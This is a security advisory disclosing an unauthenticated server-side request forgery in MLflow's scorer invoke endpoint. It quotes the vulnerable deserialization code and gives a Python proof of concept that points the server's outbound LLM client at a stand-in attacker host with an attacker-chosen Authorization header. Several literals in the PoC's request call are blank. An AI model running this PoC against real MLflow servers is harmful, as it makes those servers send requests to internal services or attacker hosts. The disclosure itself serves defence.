MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

• Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
• Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
• Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    ,
    json={
        : exp_id,
        : ().dumps(serialized_scorer),
        : [trace_id],
    },
)
(resp.status_code, resp.text)
time.sleep()  

# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.